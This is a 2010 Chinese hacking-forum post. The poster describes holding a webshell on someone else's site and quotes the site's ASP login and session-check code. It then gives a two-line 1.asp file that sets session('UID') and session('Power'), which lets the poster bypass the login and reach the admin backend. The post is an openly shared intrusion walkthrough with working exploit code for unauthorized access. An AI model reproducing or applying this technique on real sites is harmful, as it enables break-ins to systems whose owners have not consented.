[经验分享] 伪造Session登陆网站后台

主题	好友	426 积分

中级会员

发消息

发表于 2010-1-29 16:09:35 |显示全部楼层

前不久拿到一个站webshell
发现里面有个站程式还不错..可密码一直很难找到..
看登陆验证代码的时候就想是否能够修改代码..绕过验证访问后台呢..记的以前nowthk教过我..可怜我这个记性啊..给忘了..又请教了下nowthk...
login.asp的验证代码
<% dim user_name,user_password,upwr,uID,ukey,cmd,rs
   user_name=trim(request.form("uid"))
   user_password=trim(request.form("pwd"))
   user_password=jk_md5(user_password,"long")
if user_name="" or user_password="" then
   close_conn
   response.redirect "../global/systeminfo.asp?flag=1"
end if
假如用户和密码为空就返回global/systeminfo.asp?flag=1  这个页面提示"错误帐号或密码，请重新登陆"
在往下看代码
session("UID")=rs("UserName")
   session("power")=rs("Power")
   Session("PSW")=rs("PSW")
   rs.close:set rs=Nothing
   set cmd=Nothing
   close_conn
   response.redirect("../system/default.asp")

假如UID,,power.PSW不为空就返回system/default.asp登陆成功
checkuser.asp代码为

以下是引用片段：
<%
if session("UID")="" then
   response.redirect "../gobal/systeminfo.asp?flag=1"
   response.end
end if
%>

session("UID")为空同样返回gobal/systeminfo.asp?flag=1
那也就是说只要UID参数不为空就登陆成功
然后把以下代码保存为1.asp

以下是引用片段：
<%
session("UID")="1"
Session("Power")="1"
%>

先访问1.asp..然后再访问后台system/default.asp..绕过了验证..看到了后台管理页面

使用道具举报